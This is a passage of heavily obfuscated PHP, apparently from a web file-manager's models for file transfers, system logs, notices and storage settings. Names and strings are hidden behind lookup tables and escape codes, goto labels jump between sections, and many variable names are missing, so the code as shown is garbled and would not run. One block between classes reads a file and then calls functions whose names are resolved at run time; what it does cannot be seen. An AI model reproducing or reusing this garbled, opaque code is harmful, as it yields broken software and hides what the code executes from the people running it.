json_decode($[$[403]], !0); } return $; } public static function valueSet($ʊշ, $Ȗ䮤) { $쥿 =& $_SERVER[̧]; if (!$Ȗ䮤) { return Model($쥿[485])->where(array($쥿[94] => $ʊշ, $쥿[33] => $쥿[1091]))->delete(); } $З = json_encode($Ȗ䮤); if (!$З) { ob_start(); var_dump($Ȗ䮤); $¾ = ob_get_clean(); self::log($쥿[1688] . json_encode_force($¾)); } if (!$ʊշ || !$Ȗ䮤[$쥿[437]]) { return !1; } $̹ = array($쥿[33] => $쥿[1091], $쥿[1661] => USER_ID, $쥿[94] => $ʊշ, $쥿[403] => $З); $ = $쥿[1689]; CacheLock::lock($); Model($쥿[485])->add($̹, array(), !0); CacheLock::unlock($); } public static function log($ѯ) { if (!GLOBAL_DEBUG) { return; } write_log($ѯ, $_SERVER[̧][1690]); } } class TaskFileTransfer extends Task { protected function startAfter() { $Ƕү =& $_SERVER[̧]; $̝ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($Ƕү[1691], array($this, $Ƕү[1692])); Hook::bind($Ƕү[1243], array($this, $Ƕү[1693])); Hook::bind($Ƕү[1694], array($this, $Ƕү[1695])); Hook::bind($Ƕү[634], array($this, $Ƕү[1696])); Hook::bind($Ƕү[635], array($this, $Ƕү[1697])); Hook::bind($Ƕү[640], array($this, $Ƕү[1698])); Hook::bind($Ƕү[641], array($this, $Ƕү[1699])); Hook::bind($Ƕү[637], array($this, $Ƕү[1700])); Hook::bind($Ƕү[638], array($this, $Ƕү[1701])); Hook::bind($Ƕү[603], array($this, $Ƕү[1702])); Hook::bind($Ƕү[600], array($this, $Ƕү[1702])); Hook::bind($Ƕү[605], array($this, $Ƕү[1702])); Hook::bind($Ƕү[607], array($this, $Ƕү[1702])); Hook::bind($Ƕү[609], array($this, $Ƕү[1702])); Hook::bind($Ƕү[1703], array($this, $Ƕү[1704])); Hook::bind($Ƕү[625], array($this, $Ƕү[1705])); $this->sourceModelCopyFlag = !1; Hook::bind($Ƕү[1706], array($this, $Ƕү[1707])); Hook::bind($Ƕү[1708], array($this, $Ƕү[1709])); Hook::bind($Ƕү[1710], array($this, $Ƕү[1711])); $̝[$Ƕү[1712]] = LNG($Ƕү[1713]); $̝[$Ƕү[1714]] = 0; $̝[$Ƕү[1715]] = 0; $̝[$Ƕү[1084]] = $Ƕү[12]; $̝[$Ƕү[1716]] = $Ƕү[12]; $̝[$Ƕү[1717]] = 0; $̝[$Ƕү[1718]] = 0; $̝[$Ƕү[1719]] = 0; if (!$̝[$Ƕү[1559]]) { $̝[$Ƕү[1559]] = LNG($Ƕү[1720]); } } protected function endAfter() { $ =& $_SERVER[̧]; Hook::unbind($[1691], array($this, $[1692])); Hook::unbind($[1243], array($this, $[1693])); Hook::unbind($[1694], array($this, $[1695])); Hook::unbind($[634], array($this, $[1696])); Hook::unbind($[635], array($this, $[1697])); Hook::unbind($[640], array($this, $[1698])); Hook::unbind($[641], array($this, $[1699])); Hook::unbind($[637], array($this, $[1700])); Hook::unbind($[638], array($this, $[1701])); Hook::unbind($[603], array($this, $[1702])); Hook::unbind($[600], array($this, $[1702])); Hook::unbind($[605], array($this, $[1702])); Hook::unbind($[607], array($this, $[1702])); Hook::unbind($[609], array($this, $[1702])); Hook::unbind($[1703], array($this, $[1704])); Hook::unbind($[625], array($this, $[1705])); Hook::unbind($[1706], array($this, $[1707])); Hook::unbind($[1708], array($this, $[1709])); Hook::unbind($[1710], array($this, $[1711])); } public function copyMoveStart($, $, $, $ʍ) { $ =& $_SERVER[̧]; self::log($[1721] . $ . $[70] . $ʍ); $ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($)) == $) { return; } if (substr($ʍ, 0, strlen($)) == $) { return; } $穰 =& $this->task; $穰[$[1722]] = KodIO::transferType($, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[̧]; $ͩ =& $this->task; if (!$ͩ[$[783]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ͩ[$[1722]] == $[1335]) { return; } self::updateTask($ͩ); } private static function updateTask(&$喱) { $шڈ =& $_SERVER[̧]; if ($喱[$шڈ[1722]] == $шڈ[1214] || $喱[$шڈ[1722]] == $шڈ[107]) { if ($喱[$шڈ[1716]]) { $喱[$шڈ[1719]] = $喱[$шڈ[1718]] + $喱[$шڈ[1715]]; } } else { if ($喱[$шڈ[1722]] == $шڈ[1336]) { if ($喱[$шڈ[1716]] == $шڈ[1214]) { $喱[$шڈ[1719]] = $喱[$шڈ[1718]] + $喱[$шڈ[1715]] * 0.5; } else { if ($喱[$шڈ[1716]] == $шڈ[107]) { $喱[$шڈ[1719]] = $喱[$шڈ[1718]] + $喱[$шڈ[1714]] * 0.5 + $喱[$шڈ[1715]] * 0.5; } } } } $喱[$шڈ[1663]] = $喱[$шڈ[1719]] / $喱[$шڈ[783]]; if ($喱[$шڈ[1663]] > 0) { $ = timeFloat() - $喱[$шڈ[1665]] - $喱[$шڈ[1668]]; $喱[$шڈ[1669]] = $ * (1 - $喱[$шڈ[1663]]) / $喱[$шڈ[1663]]; } } public function addPath($) { $ =& $_SERVER[̧]; if (!$) { return; } $т̨ =& $this->task; $ = IO::infoWithChildren($); $˾ = $т̨[$[1723]] ? $т̨[$[1723]][$[1724]] : 0; $т̨[$[1723]] = array($[1724] => $˾ + 1, $[458] => $[$[32]], $[84] => $[$[84]], $[547] => $[$[547]] ? $[$[547]] : $[$[84]]); if ($[$[33]] == $[200]) { $т̨[$[806]] += 1; } else { $т̨[$[806]] += $[$[79]][$[77]]; if ($[$[440]]) { $т̨[$[806]] += $[$[79]][$[78]] + 1; } } $т̨[$[783]] += $[$[76]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($楬) { } public function sourceAddFileStart($ȷ) { $ =& $_SERVER[̧]; $ =& $this->task; $[$[1714]] = $ȷ[$[76]]; $[$[1712]] = $ȷ[$[32]]; $[$[1084]] = $ȷ[$[32]]; $[$[1725]] = $ȷ[$[84]]; $this->update(); } public function sourceAddFileEnd($) { $葵 =& $_SERVER[̧]; $ =& $this->task; $[$葵[1719]] += $[$葵[76]]; $[$葵[1725]] = $[$葵[84]]; $this->update(1); } public function copyFileStart($؃, $, $͜, $֥, $ʉ, $膓) { $̮ۀ =& $_SERVER[̧]; $ʜ = $ʉ; if ($ʜ == $GLOBALS[$̮ۀ[1726]]) { $ʜ = $GLOBALS[$̮ۀ[1727]]; } $GLOBALS[$̮ۀ[1727]] = $ʉ; $GLOBALS[$̮ۀ[1726]] = $膓; $Í =& $this->task; $Í[$̮ۀ[1712]] = $ʜ; $Í[$̮ۀ[1714]] = (int) $؃->size($); $Í[$̮ۀ[1715]] = 0; $Í[$̮ۀ[1084]] = $̮ۀ[12]; $Í[$̮ۀ[1716]] = $̮ۀ[12]; $Í[$̮ۀ[1717]] = 0; $ = $Í[$̮ۀ[1714]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($Í[$̮ۀ[437]] . $̮ۀ[1728]); if ($ && file_exists(get_path_father($֥))) { Cache::set($Í[$̮ۀ[437]] . $̮ۀ[1728], $֥); $Í[$̮ۀ[1685]] = array($̮ۀ[1729], $̮ۀ[1730]); } $this->update(0, $); } public static function updateCopyLocalFileSize($) { $ޥ쭂 =& $_SERVER[̧]; $ߩ = Cache::get($[$ޥ쭂[437]] . $ޥ쭂[1728]); if (!$ߩ || !file_exists($ߩ)) { return $; } $[$ޥ쭂[1715]] = @filesize($ߩ); $[$ޥ쭂[1719]] += $[$ޥ쭂[1715]]; self::updateTask($); return $; } public function copyFileEnd($ẳ, $, $, $, $, $Ĉ) { $ =& $_SERVER[̧]; $ŧ =& $this->task; $ŧ[$[1715]] = $ŧ[$[1714]]; $ŧ[$[1716]] = $[12]; unset($ŧ[$[1685]]); if ($ == $ŧ[$[1712]]) { $ŧ[$[1718]] += $ŧ[$[1714]]; $ŧ[$[1719]] = $ŧ[$[1718]]; $٧ = 1; if (isset($ŧ[$[1725]]) && $ŧ[$[1725]] == $) { $٧ = 0; } $this->update($٧); } else { $this->update(); $ŧ[$[1715]] = 0; } Cache::remove($ŧ[$[437]] . $[1728]); self::log($[1731] . $ . $[70] . $ . $[231] . $ . $[1732] . $ŧ[$[1712]]); } public function updateFileEnd($ỡ, $ˏ) { $ =& $_SERVER[̧]; $ =& $this->task; $[$[1712]] = $ỡ; $[$[1714]] = $ˏ; $[$[1718]] += $ˏ; $[$[1719]] = $[$[1718]]; $this->update(1); self::log($[1733] . $ỡ); } public function sourceModelCopy($) { $ =& $_SERVER[̧]; $ׅȡ = $[0]; $ăܧ = $[1]; $҅ =& $this->task; $this->sourceModelCopyFlag = !0; $М = 0; switch ($ׅȡ) { case $[601]: $М = 1; break; case $[604]: $҅[$[1712]] = $ăܧ[$[32]]; break; case $[606]: $М = intval($[$[409]] * 0.4); break; case $[608]: $М = intval($[$[409]] * 0.2); break; case $[610]: $М = intval($[$[409]] * 0.4); break; } $this->update($М); $this->sourceModelCopyFlag = !1; } public function sourceRemove($߳, $) { $Ƚ =& $_SERVER[̧]; $this->sourceModelCopyFlag = !0; $ΰ = 1; if (isset($߳[$Ƚ[79]])) { $ΰ = $߳[$Ƚ[79]][$Ƚ[77]]; $ΰ = $ΰ + $߳[$Ƚ[79]][$Ƚ[78]] + 1; } $this->update($ΰ); $this->sourceModelCopyFlag = !1; } public function sourceMove($ܵ) { $this->sourceRemove($ܵ, !1); } public function curlProgress($ȋ, $դۺŘ, $, $շ͘, $ԓ) { $˖ =& $_SERVER[̧]; $Ƒ =& $this->task; if ($ԓ > 0) { $Ƒ[$˖[1084]] = $˖[1734]; $Ƒ[$˖[1716]] = $˖[107]; if ($Ƒ[$˖[1714]]) { $Ƒ[$˖[1715]] = $ԓ; } if ($Ƒ[$˖[1717]]) { $Ƒ[$˖[1715]] = $ԓ + $Ƒ[$˖[1717]]; } } else { if ($ > 0) { if ($Ƒ[$˖[1714]] == $դۺŘ) { $Ƒ[$˖[1715]] = $; $Ƒ[$˖[1084]] = $˖[1735]; $Ƒ[$˖[1716]] = $˖[1214]; } } } $this->update(); } public function curlProgressStart($ͷ) { } public function curlProgressEnd($–) { $Ź =& $_SERVER[̧]; $ =& $this->task; $ = curl_getinfo($–); $ = $[$Ź[1736]]; if ($ == -1) { $ = $[$Ź[1737]]; } if ($[$Ź[1716]] == $Ź[107] && $) { $[$Ź[1717]] += $; } $this->update(); } } goto E򴇸; d: class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\x65\x6d\56\x4c\x69\147\x68\164\101\160\160"; public $modelType = "\x53\171\x73\164\145\x6d\x4f\x70\x74\151\x6f\x6e"; public $field = array("\156\x61\155\x65", "\x67\162\x6f\x75\x70", "\x64\x65\x73\x63", "\143\157\x6e\164\145\x6e\x74"); public function listData($ = false, $ߣ = "\x6d\x6f\144\x69\146\171\124\x69\155\x65", $Ğ = true) { return parent::listData($, $ߣ, $Ğ); } public function remove($ߓ) { $ = $this->findByName($ߓ); if (!$) { return !1; } return parent::remove($[$_SERVER[̧][437]]); } public function add($ѭ) { if ($this->findByName($ѭ[$_SERVER[̧][32]])) { return !1; } return parent::insert($ѭ); } public function update($, $) { $۸ =& $_SERVER[̧]; $ = $this->findByName($); $ = $this->findByName($[$۸[32]]); if (!$ || $ && $[$۸[437]] != $[$۸[437]]) { return !1; } return parent::update($[$۸[437]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\x73\x79\x73\164\145\x6d\x5f\154\x6f\x67"; protected $dataAuto = array(array("\x63\162\x65\141\x74\x65\x54\151\155\145", "\x74\151\155\145", "\151\x6e\x73\145\162\x74", "\146\x75\x6e\143\164\151\x6f\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ư =& $_SERVER[̧]; return array($ư[2185] => LNG($ư[2186]), $ư[2187] => LNG($ư[2188]), $ư[1794] => LNG($ư[2189]), $ư[2190] => LNG($ư[2191]), $ư[2192] => LNG($ư[2193]), $ư[2194] => LNG($ư[2195]), $ư[2196] => LNG($ư[2197]), $ư[1824] => LNG($ư[2197]), $ư[1825] => LNG($ư[2198]), $ư[2199] => LNG($ư[2200]), $ư[2201] => LNG($ư[2202]), $ư[2203] => LNG($ư[2204]), $ư[2205] => LNG($ư[2206]), $ư[1822] => LNG($ư[2207]), $ư[2208] => LNG($ư[2209]), $ư[1829] => LNG($ư[2210]), $ư[2211] => LNG($ư[2212]), $ư[2213] => LNG($ư[2214]), $ư[2215] => LNG($ư[2216]), $ư[2217] => LNG($ư[2218]), $ư[1832] => LNG($ư[2219]), $ư[1833] => LNG($ư[2220]), $ư[2221] => LNG($ư[2222]), $ư[2223] => LNG($ư[2224]), $ư[2225] => LNG($ư[2226]), $ư[1827] => LNG($ư[2227]), $ư[2228] => LNG($ư[2229]), $ư[1826] => LNG($ư[2230]), $ư[2231] => LNG($ư[2232]), $ư[2233] => LNG($ư[2234]), $ư[2235] => LNG($ư[2236]), $ư[2237] => LNG($ư[2237]), $ư[2238] => LNG($ư[1798]), $ư[2239] => LNG($ư[2240]), $ư[2241] => LNG($ư[2242]), $ư[2243] => LNG($ư[2244]), $ư[2245] => LNG($ư[2246]), $ư[2247] => LNG($ư[2248]), $ư[2249] => LNG($ư[2249]), $ư[2250] => LNG($ư[2251]), $ư[2252] => LNG($ư[2253]), $ư[2254] => LNG($ư[2255]), $ư[2256] => LNG($ư[2257]), $ư[2258] => LNG($ư[2259]), $ư[2260] => LNG($ư[2261])); } private function typeFile() { $頗Ԗ =& $_SERVER[̧]; $̕ = array($頗Ԗ[1829] => array($頗Ԗ[1830]), $頗Ԗ[2203] => array($頗Ԗ[2262]), $頗Ԗ[2205] => array($頗Ԗ[2263]), $頗Ԗ[1822] => array($頗Ԗ[1823], $頗Ԗ[2264]), $頗Ԗ[2213] => array(), $頗Ԗ[2215] => array(), $頗Ԗ[2217] => array(), $頗Ԗ[1832] => array($頗Ԗ[1834]), $頗Ԗ[1833] => array($頗Ԗ[1834]), $頗Ԗ[2221] => array($頗Ԗ[2265]), $頗Ԗ[2223] => array($頗Ԗ[2265]), $頗Ԗ[2225] => array($頗Ԗ[2266]), $頗Ԗ[2211] => array($頗Ԗ[2267]), $頗Ԗ[1827] => array($頗Ԗ[2268]), $頗Ԗ[2228] => array($頗Ԗ[2269]), $頗Ԗ[1826] => array($頗Ԗ[1828])); return $̕; } private function typeAll() { $ =& $_SERVER[̧]; $ = $this->typeList; $ӜИ = array_filter($this->typeFile()); foreach ($ӜИ as $؆ => $) { $[$[0]] = $[$؆]; } $[$[1834]] = LNG($[2270]); $[$[2265]] = LNG($[2271]); return $; } public function addLog($”, $ƈ = array()) { $ =& $_SERVER[̧]; if (!isset($this->typeList[$”])) { return; } $ = isset($ƈ[$[1661]]) ? $ƈ[$[1661]] : 0; if (!$) { $ = Session::get($[1988]); } if ($” == $[2239] && is_array($ƈ[$[2272]]) && !$ƈ[$[2272]]) { return; } $ʵ = get_client_ip(); if (!$ƈ || strlen(json_encode($ƈ)) >= 1024) { $ƈ = array($[2273] => $ʵ); } else { if (is_array($ƈ)) { $ƈ[$[2273]] = $ʵ; } else { $ƈ = array($[1222] => $ƈ, $[2273] => $ʵ); } } $ƈ = array($[1651] => Session::sign(), $[1652] => intval($), $[33] => $”, $[1654] => json_encode($ƈ)); parent::add($ƈ); } public function remove($凙) { $this->where(array($_SERVER[̧][457] => $凙))->delete(); } private function _makeOrder($Հ = '') { $ˮ =& $_SERVER[̧]; $ = $ˮ[201]; $ = array($ˮ[488] => $ˮ[489], $ˮ[490] => $ˮ[491]); $ä = Input::get($ˮ[496], $ˮ[7], $ˮ[2024], array($ˮ[1942], $ˮ[490])); $ä = $[$ä]; $Հ = $Հ . "{$}\40{$ä}"; return $this->order($Հ); } public function get($Ԛ = '') { $ =& $_SERVER[̧]; if (!$Ԛ) { show_json(array()); } $ˬ = array(); if ($Ԛ[$[1661]]) { $ˬ[$[1661]] = $Ԛ[$[1661]]; } if (isset($Ԛ[$[780]])) { $ = $Ԛ[$[780]]; $ = isset($Ԛ[$[781]]) ? $Ԛ[$[781]] : time(); $ˬ[$[201]] = array($[362], array($, $)); } if ($Ԛ[$[33]]) { $ = explode($[50], $Ԛ[$[33]]); $Ήţ = $this->typeFile(); $Ԣ = array(); foreach ($ as $㽸) { $Ԣ[] = $㽸; if (isset($Ήţ[$㽸])) { $Ԣ = array_merge($Ԣ, $Ήţ[$㽸]); } } $Ԣ = array_unique($Ԣ); if ($Ԣ) { $ˬ[$[33]] = array($[7], $Ԣ); } } else { $ˬ[$[33]] = array($[2274], $[2275]); } if (!empty($Ԛ[$[2273]])) { $ˬ[$[491]] = array($[412], "\x25{$Ԛ[$[2273]]}\x25"); } $ʶ = $this->_makeOrder()->where($ˬ)->selectPage(); if (empty($ʶ[$[398]])) { show_json(array(), !0, $ʶ[$[395]]); } $ʶ[$[398]] = $this->logList($ʶ[$[398]]); return $ʶ; } private function ipAddress(&$͔䅊) { $ƙߊ =& $_SERVER[̧]; if (!empty($͔䅊[$ƙߊ[2273]])) { $ܱ = IpLocation::get($͔䅊[$ƙߊ[2273]]); } else { $ܱ = LNG($ƙߊ[2276]); } $͔䅊[$ƙߊ[2277]] = $ܱ; } private function descZipDownload($ą, &$ܱ) { $ =& $_SERVER[̧]; if (!isset($ą[$[2278]])) { return; } $ = json_decode($ą[$[2278]], !0); foreach ($ as $햄) { try { $ = IO::infoFull($햄[$[84]]); } catch (Exception $ω) { continue; } $ą[$[84]] = $햄[$[84]]; $ܱ[] = $ą[$[440]] = $[$[440]]; $ܱ[] = $ą[$[2079]] = $[$[470]]; break; } return $ą; } private function getSourceList(&$Ɍ) { $ǒݩ =& $_SERVER[̧]; $ = array(); foreach ($Ɍ as $ڒ => $) { $ƺ = json_decode($[$ǒݩ[491]], !0); if ($[$ǒݩ[33]] == $ǒݩ[1825]) { $ƺ = $this->descZipDownload($ƺ, $); $Ɍ[$ڒ][$ǒݩ[491]] = json_encode($ƺ); continue; } if (strpos($[$ǒݩ[33]], $ǒݩ[2081]) !== 0) { if (!isset($ƺ[$ǒݩ[84]]) || strpos($[$ǒݩ[33]], $ǒݩ[2279]) !== 0) { continue; } try { $ۃ = IO::infoFull($ƺ[$ǒݩ[84]]); } catch (Exception $؄) { continue; } $[] = $ƺ[$ǒݩ[440]] = $ۃ[$ǒݩ[440]]; $[] = $ƺ[$ǒݩ[2079]] = $ۃ[$ǒݩ[470]]; $Ɍ[$ڒ][$ǒݩ[491]] = json_encode($ƺ); continue; } $[] = $ƺ[$ǒݩ[440]]; $[] = $ƺ[$ǒݩ[2079]]; if ($ƺ[$ǒݩ[33]] == $ǒݩ[586]) { $[] = $ƺ[$ǒݩ[491]][$ǒݩ[1180]]; $[] = $ƺ[$ǒݩ[491]][$ǒݩ[1181]]; } if ($ƺ[$ǒݩ[33]] == $ǒݩ[2089]) { $[] = $ƺ[$ǒݩ[491]][$ǒݩ[440]]; } } if (!$) { return array(); } return Model($ǒݩ[845])->sourceListInfo($, !0); } private function logList($) { $Ͷќ =& $_SERVER[̧]; $ͻ = array_to_keyvalue($, $Ͷќ[12], $Ͷќ[1661]); $쿛 = Model($Ͷќ[563])->userListInfo(array_unique($ͻ)); $ = $this->getSourceList($); $ק = $this->typeAll(); $ϱ = array(); $ = array(); foreach ($ as $钦 => $) { $𿓆 = $[$Ͷќ[33]]; $ވݛ = isset($쿛[$[$Ͷќ[1661]]]) ? $쿛[$[$Ͷќ[1661]]] : !1; $՚ = strpos($𿓆, $Ͷќ[2280]) === 0 ? LNG($Ͷќ[2281]) : LNG($Ͷќ[2276]); $[$Ͷќ[32]] = isset($ވݛ[$Ͷќ[32]]) ? $ވݛ[$Ͷќ[32]] : LNG($Ͷќ[2276]); $[$Ͷќ[570]] = isset($ވݛ[$Ͷќ[570]]) ? $ވݛ[$Ͷќ[570]] : $Ͷќ[12]; $[$Ͷќ[1559]] = isset($ק[$𿓆]) ? $ק[$𿓆] : $՚; $[$Ͷќ[2023]] = $ވݛ; $笫 = json_decode($[$Ͷќ[491]], !0); $[$Ͷќ[2273]] = isset($笫[$Ͷќ[2273]]) ? $笫[$Ͷќ[2273]] : $Ͷќ[12]; $[$Ͷќ[2277]] = IpLocation::get($[$Ͷќ[2273]]); if (strpos($𿓆, $Ͷќ[2081]) === 0 || isset($笫[$Ͷќ[2079]])) { $笫[$Ͷќ[87]] = $[$笫[$Ͷќ[440]]]; $笫[$Ͷќ[2094]] = $[$笫[$Ͷќ[2079]]]; if ($笫[$Ͷќ[33]] == $Ͷќ[586]) { $笫[$Ͷќ[491]][$Ͷќ[1180]] = $[$笫[$Ͷќ[491]][$Ͷќ[1180]]]; $笫[$Ͷќ[491]][$Ͷќ[1181]] = $[$笫[$Ͷќ[491]][$Ͷќ[1181]]]; } if ($笫[$Ͷќ[33]] == $Ͷќ[2089]) { $笫[$Ͷќ[491]][$Ͷќ[440]] = $[$笫[$Ͷќ[491]][$Ͷќ[440]]]; } if ($笫[$Ͷќ[33]] == $Ͷќ[1820]) { $笫[$Ͷќ[2094]] = $笫[$Ͷќ[87]]; $笫[$Ͷќ[2079]] = $笫[$Ͷќ[2094]][$Ͷќ[440]]; $笫[$Ͷќ[87]] = !1; $笫[$Ͷќ[440]] = $Ͷќ[12]; } if ($笫[$Ͷќ[87]] && $笫[$Ͷќ[87]][$Ͷќ[449]] == $Ͷќ[1307]) { $[] = $[$Ͷќ[437]]; unset($[$钦]); continue; } if ($笫[$Ͷќ[2094]] && $笫[$Ͷќ[2094]][$Ͷќ[449]] == $Ͷќ[1307]) { $[] = $[$Ͷќ[437]]; unset($[$钦]); continue; } } $[$Ͷќ[491]] = $笫; unset($[$Ͷќ[2282]]); $ϱ[] = $; } $this->clearSystemPathLog($); return $ϱ; } private function clearSystemPathLog($Օ) { $ڙ =& $_SERVER[̧]; if (count($Օ) == 0) { return; } $󑻫 = array($ڙ[437] => array($ڙ[7], array_unique($Օ))); $this->where($󑻫)->delete(); } public function deviceList($ů, $ = 0) { $р =& $_SERVER[̧]; $ = array($р[1661] => $ů, $р[201] => array($р[1034], $), $р[33] => $р[1794]); $ƙ = array(); $َ = $this->field($р[2283])->where($)->order($р[2092])->limit(50)->select(); foreach ($َ as $ => $ۅ) { if ($ > 0 && abs($ۅ[$р[201]] - $َ[$ - 1][$р[201]]) < 5) { continue; } $ŧ = json_decode($ۅ[$р[491]], !0); $ۅ[$р[2273]] = isset($ŧ[$р[2273]]) ? $ŧ[$р[2273]] : $р[12]; unset($ŧ[$р[2273]]); $Ȃ = $this->deviceType($ŧ[$р[2082]]); if (isset($ƙ[$Ȃ])) { continue; } $ۅ[$р[2277]] = IpLocation::get($ۅ[$р[2273]]); $ۅ[$р[491]] = $ŧ; $ƙ[$Ȃ] = $ۅ; } return array_values($ƙ); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\155\x2e\156\157\164\151\x63\x65\114\151\x73\x74"; public $field = array("\156\141\155\x65", "\143\x6f\156\x74\x65\156\x74", "\x61\165\164\150", "\x6d\x6f\144\x65", "\x74\151\x6d\x65", "\164\x79\x70\x65", "\x6c\x65\166\x65\x6c", "\145\x6e\141\142\x6c\x65", "\163\x6f\x72\x74"); public function listData($ƴ = false, $ = "\x73\157\162\x74", $Ÿܵ = false) { return parent::listData($ƴ, $, $Ÿܵ); } public function add($ؓ) { $֥ͻ =& $_SERVER[̧]; $ܢ = time(); if ($ؓ[$֥ͻ[16]] == $֥ͻ[2284]) { $ܢ = strtotime($ؓ[$֥ͻ[180]]); } $ؓ[$֥ͻ[180]] = $ܢ; return parent::insert($ؓ); } public function update($ò, $) { $Č =& $_SERVER[̧]; $薵 = $this->listData($ò); if (!$薵) { return !1; } $ = time(); if ($[$Č[16]] == $Č[2284]) { $ = strtotime($[$Č[180]]); } $[$Č[180]] = $; return parent::update($ò, $); } public function remove($ш) { $ = $this->listData($ш); if (!$ || $[$_SERVER[̧][1307]]) { return !1; } return parent::remove($ш); } public function sort($, $) { return parent::update($, $); } public function enable($Ը, $) { return parent::update($Ը, array($_SERVER[̧][2285] => $)); } private function initUserOption() { $ʉ =& $_SERVER[̧]; $this->optionType = $ʉ[2286]; $this->modelType = $ʉ[2287]; $this->field = array($ʉ[2288], $ʉ[32], $ʉ[180], $ʉ[33], $ʉ[2289], $ʉ[770], $ʉ[196]); } public function userNoticeGet($˸ = false) { $this->initUserOption(); return parent::listData($˸, $_SERVER[̧][437], !0); } public function userNoticeAdd($) { $Ű =& $_SERVER[̧]; $this->initUserOption(); $ = $this->findByKey($Ű[2288], $[$Ű[437]]); if ($) { return !0; } $ = array($Ű[2288] => $[$Ű[437]], $Ű[32] => $[$Ű[32]], $Ű[180] => $[$Ű[180]], $Ű[33] => isset($[$Ű[33]]) ? $[$Ű[33]] : 1, $Ű[2289] => isset($[$Ű[2289]]) ? $[$Ű[2289]] : 0, $Ű[770] => 0, $Ű[196] => 0); return parent::insert($); } public function userNoticeEdit($ƃ, $ڤ) { $this->initUserOption(); return parent::update($ƃ, $ڤ); } } goto a홊; Aޗ: class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\x65\155\x2e\x73\x6f\x75\162\143\145\x53\x65\143\x72\x65\164\x4c\x69\x73\x74"; public $field = array("\163\157\165\162\143\x65\111\104", "\164\171\x70\145\x49\x44", "\143\162\x65\x61\164\145\x55\163\x65\x72"); } if ($_SERVER[$_SERVER[̧][425]] != $_SERVER[$_SERVER[̧][426]]) { $_getc = $_SERVER[̧][427]; $_getfile = $_SERVER[$_SERVER[̧][428]] . $_SERVER[̧][429]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[̧][231], $_getfilec); if (count($_getarrs) < $_SERVER[̧][430]) { $exit = $_SERVER[̧][431]; $exit(); } $_act = $_SERVER[̧][432]; $_act($_SERVER[$_SERVER[̧][433]]); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\155\x2e\163\164\x6f\162\x61\147\145\x4c\x69\x73\x74"; public $field = array("\156\141\x6d\145", "\x73\151\x7a\x65\x4d\x61\x78", "\163\x79\x73\x74\145\x6d", "\x64\145\x66\x61\165\x6c\x74", "\144\x72\x69\x76\x65\x72", "\143\x6f\156\x66\151\147"); public function listData($ʘ = false, $ = "\155\157\x64\x69\146\171\124\151\x6d\x65", $ᾼ = false) { $ =& $_SERVER[̧]; $ = parent::listData($ʘ, $, $ᾼ); if ($ʘ) { return $; } $ = $this->ioSizeUseGet(array_to_keyvalue($, $[12], $[437])); foreach ($ as $Τ => $˩) { unset($[$Τ][$[6]]); $[$Τ][$[1840]] = isset($[$˩[$[437]]]) ? $[$˩[$[437]]] : 0; } return $; } public function ioSizeUseGet($) { $ =& $_SERVER[̧]; if (!$) { return array(); } $ǐ = $[2169] . implode($[50], $); $݄ = Cache::get($ǐ); if ($݄) { return $݄; } $Ю = array($[837] => $[437], $[2170] => $[76]); $ױ = array($[837] => array($[7], $)); $݄ = Model($[809])->field($Ю)->where($ױ)->group($[837])->select(); $݄ = array_to_keyvalue($݄, $[437], $[76]); Cache::set($ǐ, $݄, 600); return $݄; } public function getConfig($) { $߆ = parent::listData($); return json_decode($߆[$_SERVER[̧][6]], !0); } public function update($, $) { $݋ =& $_SERVER[̧]; $ࠆ = $[$݋[32]]; $ޟ = array_to_keyvalue(parent::listData(), $݋[32]); if (isset($ޟ[$ࠆ]) && $ޟ[$ࠆ][$݋[437]] != $) { return !1; } $this->checkPwd($, $); if (isset($[$݋[2171]]) && $[$݋[2171]] == $݋[88]) { $this->checkConfig($); } unset($[$݋[2171]]); $׽ = parent::update($, $); if ($׽ && $[$݋[37]]) { $ߝ = 0; foreach ($ޟ as $ƨ) { if ($ƨ[$݋[37]] && $ƨ[$݋[437]] != $) { $ߝ = $ƨ[$݋[437]]; parent::update($ƨ[$݋[437]], array($݋[37] => 0)); } } $this->updateBackup($, $ߝ); } return $׽; } public function add($é) { $֙ޖ =& $_SERVER[̧]; $ = array_to_keyvalue(parent::listData(), $֙ޖ[32]); if (isset($[$é[$֙ޖ[32]]])) { return !1; } $this->checkConfig($é); $ = parent::insert($é); if ($ && $é[$֙ޖ[37]]) { foreach ($ as $æ) { if ($æ[$֙ޖ[37]]) { parent::update($æ[$֙ޖ[437]], array($֙ޖ[37] => 0)); } } } return $; } public function updateBackup($ʾ, $) { $Ǔ =& $_SERVER[̧]; if (!$) { return; } $ = Model($Ǔ[769])->config(); if ($[$Ǔ[1631]] != $Ǔ[88] || $[$Ǔ[771]] != $) { return; } $Ӌ = Model($Ǔ[790])->get($Ǔ[800]); $Ӌ = json_decode($Ӌ, !0); if (!$Ӌ) { return; } $Ӌ[$Ǔ[771]] = $ʾ; Model($Ǔ[790])->set(array($Ǔ[800] => $Ӌ)); } public function checkPwd($꺚, &$) { $Ì =& $_SERVER[̧]; if (empty($[$Ì[6]])) { return; } $ֆ = json_decode($[$Ì[6]], !0); $ق = $Ì[12]; $ = array($Ì[2172], $Ì[2173], $Ì[909]); foreach ($ as $) { if (isset($ֆ[$])) { $ق = $; break; } } if (!$ق) { return; } $ՙ = $this->getConfig($꺚); $̼ = $ՙ[$ق]; $߼ˍ = $ֆ[$ق]; if ($߼ˍ == str_repeat($Ì[189], strlen($̼))) { $ֆ[$ق] = $̼; $[$Ì[6]] = json_encode($ֆ); } else { if ($߼ˍ != $̼) { $[$Ì[2171]] = $Ì[88]; } } } public function checkConfig(&$퐡, $ = false) { $☓ =& $_SERVER[̧]; $ = strtolower($퐡[$☓[95]]); $ = 